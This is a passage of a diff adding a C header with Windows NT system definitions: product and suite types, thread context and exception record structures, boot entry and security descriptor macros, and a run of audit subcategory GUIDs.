NtProductLanManNt, + NtProductServer +} NT_PRODUCT_TYPE, *PNT_PRODUCT_TYPE; + + +typedef enum _SUITE_TYPE +{ + SmallBusiness, + Enterprise, + BackOffice, + CommunicationServer, + TerminalServer, + SmallBusinessRestricted, + EmbeddedNT, + DataCenter, + SingleUserTS, + Personal, + Blade, + EmbeddedRestricted, + SecurityAppliance, + StorageServer, + ComputeServer, + MaxSuiteType +} SUITE_TYPE; + +#define VER_SERVER_NT 0x80000000 +#define VER_WORKSTATION_NT 0x40000000 +#define VER_SUITE_SMALLBUSINESS 0x00000001 +#define VER_SUITE_ENTERPRISE 0x00000002 +#define VER_SUITE_BACKOFFICE 0x00000004 +#define VER_SUITE_COMMUNICATIONS 0x00000008 +#define VER_SUITE_TERMINAL 0x00000010 +#define VER_SUITE_SMALLBUSINESS_RESTRICTED 0x00000020 +#define VER_SUITE_EMBEDDEDNT 0x00000040 +#define VER_SUITE_DATACENTER 0x00000080 +#define VER_SUITE_SINGLEUSERTS 0x00000100 +#define VER_SUITE_PERSONAL 0x00000200 +#define VER_SUITE_BLADE 0x00000400 +#define VER_SUITE_EMBEDDED_RESTRICTED 0x00000800 +#define VER_SUITE_SECURITY_APPLIANCE 0x00001000 +#define VER_SUITE_STORAGE_SERVER 0x00002000 +#define VER_SUITE_COMPUTE_SERVER 0x00004000 + +// +// exception structures +// + +#ifndef _WINNT_ // take presidence over winnt.h + +typedef struct _CONTEXT +{ + + // + // The flags values within this flag control the contents of + // a CONTEXT record. + // + // If the context record is used as an input parameter, then + // for each portion of the context record controlled by a flag + // whose value is set, it is assumed that that portion of the + // context record contains valid context. If the context record + // is being used to modify a threads context, then only that + // portion of the threads context will be modified. + // + // If the context record is used as an IN OUT parameter to capture + // the context of a thread, then only those portions of the thread's + // context corresponding to set flags will be returned. + // + // The context record is never used as an OUT only parameter. + // + + DWORD ContextFlags; + + // + // This section is specified/returned if CONTEXT_DEBUG_REGISTERS is + // set in ContextFlags. Note that CONTEXT_DEBUG_REGISTERS is NOT + // included in CONTEXT_FULL. + // + + DWORD Dr0; + DWORD Dr1; + DWORD Dr2; + DWORD Dr3; + DWORD Dr6; + DWORD Dr7; + + // + // This section is specified/returned if the + // ContextFlags word contians the flag CONTEXT_FLOATING_POINT. + // + + FLOATING_SAVE_AREA FloatSave; + + // + // This section is specified/returned if the + // ContextFlags word contians the flag CONTEXT_SEGMENTS. + // + + DWORD SegGs; + DWORD SegFs; + DWORD SegEs; + DWORD SegDs; + + // + // This section is specified/returned if the + // ContextFlags word contians the flag CONTEXT_INTEGER. + // + + DWORD Edi; + DWORD Esi; + DWORD Ebx; + DWORD Edx; + DWORD Ecx; + DWORD Eax; + + // + // This section is specified/returned if the + // ContextFlags word contians the flag CONTEXT_CONTROL. + // + + DWORD Ebp; + DWORD Eip; + DWORD SegCs; // MUST BE SANITIZED + DWORD EFlags; // MUST BE SANITIZED + DWORD Esp; + DWORD SegSs; + + // + // This section is specified/returned if the ContextFlags word + // contains the flag CONTEXT_EXTENDED_REGISTERS. + // The format and contexts are processor specific + // + + BYTE ExtendedRegisters[MAXIMUM_SUPPORTED_EXTENSION]; + +} CONTEXT, *PCONTEXT; + +typedef struct _EXCEPTION_RECORD +{ + DWORD ExceptionCode; // NTSTATUS code of the exception. + DWORD ExceptionFlags; // need more information + struct _EXCEPTION_RECORD *ExceptionRecord; // pointer to an extra record + PVOID ExceptionAddress; // address of the exception happen + DWORD NumberParameters; // more information needed ... + ULONG_PTR ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS]; +} EXCEPTION_RECORD, *PEXCEPTION_RECORD; + +// +// Values put in ExceptionRecord.ExceptionInformation[0] +// First parameter is always in ExceptionInformation[1], +// Second parameter is always in ExceptionInformation[2] +// + +typedef struct _EXCEPTION_RECORD32 { + DWORD ExceptionCode; + DWORD ExceptionFlags; + DWORD ExceptionRecord; + DWORD ExceptionAddress; + DWORD NumberParameters; + DWORD ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS]; +} EXCEPTION_RECORD32, *PEXCEPTION_RECORD32; + +typedef struct _EXCEPTION_RECORD64 { + DWORD ExceptionCode; + DWORD ExceptionFlags; + DWORD64 ExceptionRecord; + DWORD64 ExceptionAddress; + DWORD NumberParameters; + DWORD __unusedAlignment; + DWORD64 ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS]; +} EXCEPTION_RECORD64, *PEXCEPTION_RECORD64; + +// +// Typedef for pointer returned by exception_info() +// + +typedef struct _EXCEPTION_POINTERS +{ + PEXCEPTION_RECORD ExceptionRecord; + PCONTEXT ContextRecord; +} EXCEPTION_POINTERS, *PEXCEPTION_POINTERS; + +#endif + +typedef NTSTATUS (NTAPI * PRTL_QUERY_REGISTRY_ROUTINE)( + IN PWSTR ValueName, + IN ULONG ValueType, + IN PVOID ValueData, + IN ULONG ValueLength, + IN PVOID Context, + IN PVOID EntryContext + ); + +typedef struct _RTL_QUERY_REGISTRY_TABLE { + PRTL_QUERY_REGISTRY_ROUTINE QueryRoutine; + ULONG Flags; + PWSTR Name; + PVOID EntryContext; + ULONG DefaultType; + PVOID DefaultData; + ULONG DefaultLength; + +} RTL_QUERY_REGISTRY_TABLE, *PRTL_QUERY_REGISTRY_TABLE; + +#define EXCEPTION_CHAIN_END ((struct _EXCEPTION_REGISTRATION_RECORD * POINTER_32)-1) + +#define MAJOR_VERSION 30 +#define MINOR_VERSION 00 +#define OS2_VERSION (MAJOR_VERSION << 8 | MINOR_VERSION ) + +#ifdef DBG +#define DBG_TEB_THREADNAME 16 +#define DBG_TEB_RESERVED_1 15 +#define DBG_TEB_RESERVED_2 14 +#define DBG_TEB_RESERVED_3 13 +#define DBG_TEB_RESERVED_4 12 +#define DBG_TEB_RESERVED_5 11 +#define DBG_TEB_RESERVED_6 10 +#define DBG_TEB_RESERVED_7 9 +#define DBG_TEB_RESERVED_8 8 +#endif // DBG + +#define PROCESS_PRIORITY_CLASS_UNKNOWN 0 +#define PROCESS_PRIORITY_CLASS_IDLE 1 +#define PROCESS_PRIORITY_CLASS_NORMAL 2 +#define PROCESS_PRIORITY_CLASS_HIGH 3 +#define PROCESS_PRIORITY_CLASS_REALTIME 4 +#define PROCESS_PRIORITY_CLASS_BELOW_NORMAL 5 +#define PROCESS_PRIORITY_CLASS_ABOVE_NORMAL 6 + +typedef struct _PROCESS_PRIORITY_CLASS { + BOOLEAN Foreground; + UCHAR PriorityClass; +} PROCESS_PRIORITY_CLASS, *PPROCESS_PRIORITY_CLASS; + +typedef struct _PROCESS_FOREGROUND_BACKGROUND { + BOOLEAN Foreground; +} PROCESS_FOREGROUND_BACKGROUND, *PPROCESS_FOREGROUND_BACKGROUND; + +typedef struct _FILE_PATH { + ULONG Version; + ULONG Length; + ULONG Type; + UCHAR FilePath[ANYSIZE_ARRAY]; +} FILE_PATH, *PFILE_PATH; + +#define FILE_PATH_VERSION 1 + +#define FILE_PATH_TYPE_ARC 1 +#define FILE_PATH_TYPE_ARC_SIGNATURE 2 +#define FILE_PATH_TYPE_NT 3 +#define FILE_PATH_TYPE_EFI 4 + +#define FILE_PATH_TYPE_MIN FILE_PATH_TYPE_ARC +#define FILE_PATH_TYPE_MAX FILE_PATH_TYPE_EFI + +typedef struct _WINDOWS_OS_OPTIONS { + UCHAR Signature[8]; + ULONG Version; + ULONG Length; + ULONG OsLoadPathOffset; + WCHAR OsLoadOptions[ANYSIZE_ARRAY]; + //FILE_PATH OsLoadPath; +} WINDOWS_OS_OPTIONS, *PWINDOWS_OS_OPTIONS; + +#define WINDOWS_OS_OPTIONS_SIGNATURE "WINDOWS" + +#define WINDOWS_OS_OPTIONS_VERSION 1 + +typedef struct _BOOT_ENTRY { + ULONG Version; + ULONG Length; + ULONG Id; + ULONG Attributes; + ULONG FriendlyNameOffset; + ULONG BootFilePathOffset; + ULONG OsOptionsLength; + UCHAR OsOptions[ANYSIZE_ARRAY]; + //WCHAR FriendlyName[ANYSIZE_ARRAY]; + //FILE_PATH BootFilePath; +} BOOT_ENTRY, *PBOOT_ENTRY; + +typedef struct _BOOT_OPTIONS { + ULONG Version; + ULONG Length; + ULONG Timeout; + ULONG CurrentBootEntryId; + ULONG NextBootEntryId; + WCHAR HeadlessRedirection[ANYSIZE_ARRAY]; +} BOOT_OPTIONS, *PBOOT_OPTIONS; + + +// +// Security APIs. +// + +typedef struct _USER_SID +{ + SID_IDENTIFIER_AUTHORITY sidAuthority; + ULONG UserGroupId; + ULONG UserId; +} USER_SID, *PUSER_SID; + + +typedef struct _USER_PERMISSION +{ + USER_SID UserSid; // identifies the user for whom you want to grant permissions to + ULONG dwAccessType; // currently, this is either ACCESS_ALLOWED_ACE_TYPE or ACCESS_DENIED_ACE_TYPE + BOOL bInherit; // the permissions inheritable? (eg a directory or reg key and you want new children to inherit this permission) + ULONG dwAccessMask; // access granted (eg FILE_LIST_CONTENTS or KEY_ALL_ACCESS, etc...) + ULONG dwInheritMask; // mask used for inheritance, usually (OBJECT_INHERIT_ACE | CONTAINER_INHERIT_ACE | INHERIT_ONLY_ACE) + ULONG dwInheritAccessMask; // the inheritable access granted (eg GENERIC_ALL) +} USER_PERMISSION, *PUSER_PERMISSION; + +#define LongAlignPtr(Ptr) ((PVOID)(((ULONG_PTR)(Ptr) + 3) & -4)) +#define LongAlignSize(Size) (((ULONG)(Size) + 3) & -4) + +// +// Macros for calculating the address of the components of a security +// descriptor. This will calculate the address of the field regardless +// of whether the security descriptor is absolute or self-relative form. +// A null value indicates the specified field is not present in the +// security descriptor. +// + +#define RtlpOwnerAddrSecurityDescriptor( SD ) \ + ( ((SD)->Control & SE_SELF_RELATIVE) ? \ + ( (((SECURITY_DESCRIPTOR_RELATIVE *) (SD))->Owner == 0) ? ((PSID) NULL) : \ + (PSID)RtlOffsetToPointer((SD), ((SECURITY_DESCRIPTOR_RELATIVE *) (SD))->Owner) \ + ) : \ + (PSID)((SD)->Owner) \ + ) + +#define RtlpGroupAddrSecurityDescriptor( SD ) \ + ( ((SD)->Control & SE_SELF_RELATIVE) ? \ + ( (((SECURITY_DESCRIPTOR_RELATIVE *) (SD))->Group == 0) ? ((PSID) NULL) : \ + (PSID)RtlOffsetToPointer((SD), ((SECURITY_DESCRIPTOR_RELATIVE *) (SD))->Group) \ + ) : \ + (PSID)((SD)->Group) \ + ) + +#define RtlpSaclAddrSecurityDescriptor( SD ) \ + ( (!((SD)->Control & SE_SACL_PRESENT) ) ? \ + (PACL)NULL : \ + ( ((SD)->Control & SE_SELF_RELATIVE) ? \ + ( (((SECURITY_DESCRIPTOR_RELATIVE *) (SD))->Sacl == 0) ? ((PACL) NULL) : \ + (PACL)RtlOffsetToPointer((SD), ((SECURITY_DESCRIPTOR_RELATIVE *) (SD))->Sacl) \ + ) : \ + (PACL)((SD)->Sacl) \ + ) \ + ) + +#define RtlpDaclAddrSecurityDescriptor( SD ) \ + ( (!((SD)->Control & SE_DACL_PRESENT) ) ? \ + (PACL)NULL : \ + ( ((SD)->Control & SE_SELF_RELATIVE) ? \ + ( (((SECURITY_DESCRIPTOR_RELATIVE *) (SD))->Dacl == 0) ? ((PACL) NULL) : \ + (PACL)RtlOffsetToPointer((SD), ((SECURITY_DESCRIPTOR_RELATIVE *) (SD))->Dacl) \ + ) : \ + (PACL)((SD)->Dacl) \ + ) \ + ) + + +// +// Macro to determine if the given ID has the owner attribute set, +// which means that it may be assignable as an owner +// The GroupSid should not be marked for UseForDenyOnly. +// + +#define RtlpIdAssignableAsOwner( G ) \ + ( (((G).Attributes & SE_GROUP_OWNER) != 0) && \ + (((G).Attributes & SE_GROUP_USE_FOR_DENY_ONLY) == 0) ) + +// +// Macro to copy the state of the passed bits from the old security +// descriptor (OldSD) into the Control field of the new one (NewSD) +// + +#define RtlpPropagateControlBits( NewSD, OldSD, Bits ) \ + ( NewSD )->Control |= \ + ( \ + ( OldSD )->Control & ( Bits ) \ + ) + + +// +// Macro to query whether or not the passed set of bits are ALL on +// or not (ie, returns FALSE if some are on and not others) +// + +#define RtlpAreControlBitsSet( SD, Bits ) \ + (BOOLEAN) \ + ( \ + (( SD )->Control & ( Bits )) == ( Bits ) \ + ) + +// +// Macro to set the passed control bits in the given Security Descriptor +// + +#define RtlpSetControlBits( SD, Bits ) \ + ( \ + ( SD )->Control |= ( Bits ) \ + ) + +// +// Macro to clear the passed control bits in the given Security Descriptor +// + +#define RtlpClearControlBits( SD, Bits ) \ + ( \ + ( SD )->Control &= ~( Bits ) \ + ) + + +// +// Local Security Authority APIs. +// + +#ifdef DEFINE_GUID + +/* 0cce9210-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_System_SecurityStateChange_defined) + DEFINE_GUID( + Audit_System_SecurityStateChange, + 0x0cce9210, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_System_SecurityStateChange_defined + #endif +#endif + +/* 0cce9211-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_System_SecuritySubsystemExtension_defined) + DEFINE_GUID( + Audit_System_SecuritySubsystemExtension, + 0x0cce9211, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_System_SecuritySubsystemExtension_defined + #endif +#endif + +/* 0cce9212-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_System_Integrity_defined) + DEFINE_GUID( + Audit_System_Integrity, + 0x0cce9212, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_System_Integrity_defined + #endif +#endif + +/* 0cce9213-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_System_IPSecDriverEvents_defined) + DEFINE_GUID( + Audit_System_IPSecDriverEvents, + 0x0cce9213, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_System_IPSecDriverEvents_defined + #endif +#endif + +/* 0cce9214-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_System_Others_defined) + DEFINE_GUID( + Audit_System_Others, + 0x0cce9214, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_System_Others_defined + #endif +#endif + +/* 0cce9215-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_Logon_Logon_defined) + DEFINE_GUID( + Audit_Logon_Logon, + 0x0cce9215, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_Logon_Logon_defined + #endif +#endif + +/* 0cce9216-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_Logon_Logoff_defined) + DEFINE_GUID( + Audit_Logon_Logoff, + 0x0cce9216, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_Logon_Logoff_defined + #endif +#endif + +/* 0cce9217-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_Logon_AccountLockout_defined) + DEFINE_GUID( + Audit_Logon_AccountLockout, + 0x0cce9217, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_Logon_AccountLockout_defined + #endif +#endif + +/* 0cce9218-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_Logon_IPSecMainMode_defined) + DEFINE_GUID( + Audit_Logon_IPSecMainMode, + 0x0cce9218, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_Logon_IPSecMainMode_defined + #endif +#endif + +/* 0cce9219-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_Logon_IPSecQuickMode_defined) + DEFINE_GUID( + Audit_Logon_IPSecQuickMode, + 0x0cce9219, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_Logon_IPSecQuickMode_defined + #endif +#endif + +/* 0cce921a-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_Logon_IPSecUserMode_defined) + DEFINE_GUID( + Audit_Logon_IPSecUserMode, + 0x0cce921a, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_Logon_IPSecUserMode_defined + #endif +#endif + +/* 0cce921b-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_Logon_SpecialLogon_defined) + DEFINE_GUID( + Audit_Logon_SpecialLogon, + 0x0cce921b, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_Logon_SpecialLogon_defined + #endif +#endif + +/* 0cce921c-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_Logon_Others_defined) + DEFINE_GUID( + Audit_Logon_Others, + 0x0cce921c, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_Logon_Others_defined + #endif +#endif + +/* 0cce921d-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_ObjectAccess_FileSystem_defined) + DEFINE_GUID( + Audit_ObjectAccess_FileSystem, + 0x0cce921d, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_ObjectAccess_FileSystem_defined + #endif +#endif + +/* 0cce921e-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_ObjectAccess_Registry_defined) + DEFINE_GUID( + Audit_ObjectAccess_Registry, + 0x0cce921e, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_ObjectAccess_Registry_defined + #endif +#endif + +/* 0cce921f-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_ObjectAccess_Kernel_defined) + DEFINE_GUID( + Audit_ObjectAccess_Kernel, + 0x0cce921f, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_ObjectAccess_Kernel_defined + #endif +#endif + +/* 0cce9220-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_ObjectAccess_Sam_defined) + DEFINE_GUID( + Audit_ObjectAccess_Sam, + 0x0cce9220, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_ObjectAccess_Sam_defined + #endif +#endif + +/* 0cce9221-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_ObjectAccess_CertificationServices_defined) + DEFINE_GUID( + Audit_ObjectAccess_CertificationServices, + 0x0cce9221, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_ObjectAccess_CertificationServices_defined + #endif +#endif + +/* 0cce9222-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_ObjectAccess_ApplicationGenerated_defined) + DEFINE_GUID( + Audit_ObjectAccess_ApplicationGenerated, + 0x0cce9222, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_ObjectAccess_ApplicationGenerated_defined + #endif +#endif + +/* +The Audit_ObjectAccess_Handle sub-category behaves different from the other sub-categories. +For handle based audits to be generated (Open handle AuditId: 0x1230, Close handle AuditId: +0x1232), the corresponding object sub-category AND Audit_ObjectAccess_Handle must be +enabled. For eg, to generate handle based audits for Reg keys, both +Audit_ObjectAccess_Registry and Audit_ObjectAccess_Handle must be enabled +*/ + +/* 0cce9223-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_ObjectAccess_Handle_defined) + DEFINE_GUID( + Audit_ObjectAccess_Handle, + 0x0cce9223, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_ObjectAccess_Handle_defined + #endif +#endif + +/* 0cce9224-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_ObjectAccess_Share_defined) + DEFINE_GUID( + Audit_ObjectAccess_Share, + 0x0cce9224, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_ObjectAccess_Share_defined + #endif +#endif + +/* 0cce9225-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_ObjectAccess_FirewallPacketDrops_defined) + DEFINE_GUID( + Audit_ObjectAccess_FirewallPacketDrops, + 0x0cce9225, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_ObjectAccess_FirewallPacketDrops_defined + #endif +#endif + +/* 0cce9226-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_ObjectAccess_FirewallConnection_defined) + DEFINE_GUID( + Audit_ObjectAccess_FirewallConnection, + 0x0cce9226, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_ObjectAccess_FirewallConnection_defined + #endif +#endif + +/* 0cce9227-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_ObjectAccess_Other_defined) + DEFINE_GUID( + Audit_ObjectAccess_Other, + 0x0cce9227, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_ObjectAccess_Other_defined + #endif +#endif + +/* 0cce9228-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_PrivilegeUse_Sensitive_defined) + DEFINE_GUID( + Audit_PrivilegeUse_Sensitive, + 0x0cce9228, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_PrivilegeUse_Sensitive_defined + #endif +#endif + +/* 0cce9229-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_PrivilegeUse_NonSensitive_defined) + DEFINE_GUID( + Audit_PrivilegeUse_NonSensitive, + 0x0cce9229, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_PrivilegeUse_NonSensitive_defined + #endif +#endif + +/* 0cce922a-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_PrivilegeUse_Others_defined) + DEFINE_GUID( + Audit_PrivilegeUse_Others, + 0x0cce922a, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_PrivilegeUse_Others_defined + #endif +#endif + +/* 0cce922b-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_DetailedTracking_ProcessCreation_defined) + DEFINE_GUID( + Audit_DetailedTracking_ProcessCreation, + 0x0cce922b, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_DetailedTracking_ProcessCreation_defined + #endif +#endif + +/* 0cce922c-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_DetailedTracking_ProcessTermination_defined) + DEFINE_GUID( + Audit_DetailedTracking_ProcessTermination, + 0x0cce922c, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_DetailedTracking_ProcessTermination_defined + #endif +#endif + +/* 0cce922d-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_DetailedTracking_DpapiActivity_defined) + DEFINE_GUID( + Audit_DetailedTracking_DpapiActivity, + 0x0cce922d, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_DetailedTracking_DpapiActivity_defined + #endif +#endif + +/* 0cce922e-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_DetailedTracking_RpcCall_defined) + DEFINE_GUID( + Audit_DetailedTracking_RpcCall, + 0x0cce922e, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_DetailedTracking_RpcCall_defined + #endif +#endif + +/* 0cce922f-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_PolicyChange_AuditPolicy_defined) + DEFINE_GUID( + Audit_PolicyChange_AuditPolicy, + 0x0cce922f, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_PolicyChange_AuditPolicy_defined + #endif +#endif + +/* 0cce9230-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_PolicyChange_AuthenticationPolicy_defined) + DEFINE_GUID( + Audit_PolicyChange_AuthenticationPolicy, + 0x0cce9230, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_PolicyChange_AuthenticationPolicy_defined + #endif +#endif + +/* 0cce9231-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_PolicyChange_AuthorizationPolicy_defined) + DEFINE_GUID( + Audit_PolicyChange_AuthorizationPolicy, + 0x0cce9231, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_PolicyChange_AuthorizationPolicy_defined + #endif +#endif + +/* 0cce9232-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_PolicyChange_MpsscvRulePolicy_defined) + DEFINE_GUID( + Audit_PolicyChange_MpsscvRulePolicy, + 0x0cce9232, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_PolicyChange_MpsscvRulePolicy_defined + #endif +#endif + +/* 0cce9233-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_PolicyChange_WfpIPSecPolicy_defined) + DEFINE_GUID( + Audit_PolicyChange_WfpIPSecPolicy, + 0x0cce9233, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_PolicyChange_WfpIPSecPolicy_defined + #endif +#endif + +/* 0cce9234-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_PolicyChange_Others_defined) + DEFINE_GUID( + Audit_PolicyChange_Others, + 0x0cce9234, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_PolicyChange_Others_defined + #endif +#endif + +/* 0cce9235-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_AccountManagement_UserAccount_defined) + DEFINE_GUID( + Audit_AccountManagement_UserAccount, + 0x0cce9235, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_AccountManagement_UserAccount_defined + #endif +#endif + +/* 0cce9236-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_AccountManagement_ComputerAccount_defined) + DEFINE_GUID( + Audit_AccountManagement_ComputerAccount, + 0x0cce9236, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_AccountManagement_ComputerAccount_defined + #endif +#endif + +/* 0cce9237-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_AccountManagement_SecurityGroup_defined) + DEFINE_GUID( + Audit_AccountManagement_SecurityGroup, + 0x0cce9237, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_AccountManagement_SecurityGroup_defined + #endif +#endif + +/* 0cce9238-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_AccountManagement_DistributionGroup_defined) + DEFINE_GUID( + Audit_AccountManagement_DistributionGroup, + 0x0cce9238, + 